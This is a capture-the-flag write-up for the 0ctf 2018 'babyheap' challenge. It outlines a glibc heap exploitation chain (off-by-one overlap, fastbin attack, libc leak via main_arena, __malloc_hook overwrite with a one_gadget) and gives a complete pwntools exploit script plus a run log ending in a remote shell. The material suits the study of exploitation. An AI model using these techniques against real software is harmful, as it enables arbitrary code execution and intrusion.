0ctf2018 babyheap
babyheap
exploit method:
- leak heap_addr
- fastbin attack
- off-by-one overlap
- leak main_arena
- unsorted bin attack
- off-by-one overlap
- main_arena = unsorted bin - offset
- leak libc_base
- libc_base = main_arena - offset'
- fastbin attack to control top_chunk
- top_chunk point to near __malloc_hook
- use one_gadget to rewrite __malloc_hook
leak
fastbin attack
- single link
- LIFO
- structure
sizeof(A/B/C) = 0x30.
free(A),free(B),free(C),then we get:
A->fd = B
B->fd = C
C->fd = 0
off-by-one overlap
- chunk A,B,C
- overflow A to pollute the size area of B,then get B'
- in C,build a fake chunk C' to bypass the size check
condition:SIZE(B)+SIZE(C)=SIZE(B')+SIZE(C')
addition knowledge
- on x86-64,chunk alignment:0x?8 size area get 0x(?+1)0
- chunk A is an unsorted bin,A->fd = A->bk = A_addr
- main_arena - certain offset = libc_base
seecat /proc/pid/maps
in shell orvmmap
in peda to get libc_base,then offset = main_arena - libc_base
exp
#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import sys
# context(log_level='debug')
def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def update(id,size,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(id))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
print "[#]update chunk:",str(id)
p.sendline(content)
def delete(id):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
print "[#]delete chunk:",str(id)
p.sendline(str(id))
def view(id):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(id))
def redlog(msg):
return "[" + "33[0;31m%s33[0m" % "+" + "]" + msg + ":"
def exploit(p):
allocate(0x10)
allocate(0x28)
allocate(0x20)#2
allocate(0x20)
#leak heap
update(1,0x29,'a'*0x28+'\x51')
update(3,0x20,p64(1)+p64(1)+p64(0)+p64(0x21))
delete(2)
allocate(0x40)#2
update(2,0x30,'a'*0x20+p64(-1,sign=signed)+p64(0x21))
delete(0)
delete(3)
view(2)
p.recvuntil(": ")
data=p.recvuntil("\n")[0x30:][:8]
heap=u64(data)
print redlog("heap"),hex(heap)
# leak main_arena
allocate(0x10) #0
allocate(0x58) #3
allocate(0x58) #4
update(2,0x30,'A'*0X20+p64(0)+p64(0X91))
update(3,0x51,p64(0xdeadbeef)*11 + p64(0x21))
delete(0)
view(2)
p.recvuntil(": ")
data=p.recvuntil("\n")[0x30:][:8]
main_arena = u64(data)-0x58
libc_offset = 0x399b00
libc = main_arena - libc_offset
print redlog("main_arena"),hex(main_arena)
print redlog("libc_offset"),hex(libc_offset)
print redlog("libc"),hex(libc)
# control top_chunk
allocate(0x58) #0
allocate(0x28) #5
allocate(0x58)
# update(5,0x10,p64(0)+p64(0x41))
update(2,0x30,p64(0xdeadbeef)*4+p64(0)+p64(0x51))
update(0,0x50,p64(0xdeadbeef)*8+p64(0)+p64(0x41))
# update(4,0x10,'\x44'*0x10)
update(5,0x29,p64(0xdeadbeef)*5+chr(0x51))
update(4,0x50,p64(0xdeadbeef)*8+p64(0)+p64(0x71))
delete(4)
delete(0)
delete(6)
# edit top_chunk
fake = main_arena + 37
fake_top = main_arena - 0x33
update(2,0x40,p64(0xdeadbeef)*5+p64(0x51)+p64(fake)+p64(0xdeadbeef))
allocate(0x10) #0
allocate(0x48) #4
# gdb.attach(p)
allocate(0x48) #6
update(6,0x33-8,'\x00'*3+p64(0xcafebabe)*4+p64(fake_top))
one_gadget = libc+0x3f35a
print redlog("one_gadget:"),hex(one_gadget)
allocate(0x30) #7
update(7,0x20,"\x33"*3+p64(0xdeadbeef)*2+p64(one_gadget)+p64(0xdeadbeef))
# gdb.attach(p)
allocate(0x10)
p.interactive()
p.close()
if __name__=="__main__":
if len(sys.argv)<2 :
p = process("./babyheap")
# p = process('./babyheap',env={'LD_PRELOAD':'./libc.so'})
else:
p = remote(sys.argv[1],int(sys.argv[2]))
exploit(p)
foxwest@ubuntu:~/Desktop/pwn/babyheap$ python o.py 202.120.7.204 127
[+] Opening connection to 202.120.7.204 on port 127: Done
[#]update chunk: 1
[#]update chunk: 3
[#]delete chunk: 2
[#]update chunk: 2
[#]delete chunk: 0
[#]delete chunk: 3
[+]heap: 0x5610e84a4000
[#]update chunk: 2
[#]update chunk: 3
[#]delete chunk: 0
[+]main_arena: 0x7ff07ed79b00
[+]libc_offset: 0x399b00
[+]libc: 0x7ff07e9e0000
[#]update chunk: 2
[#]update chunk: 0
[#]update chunk: 5
[#]update chunk: 4
[#]delete chunk: 4
[#]delete chunk: 0
[#]delete chunk: 6
[#]update chunk: 2
[#]update chunk: 6
[+]one_gadget:: 0x7ff07ea1f35a
[#]update chunk: 7
[*] Switching to interactive mode
$ ls home/babyheap
babyheap
flag
$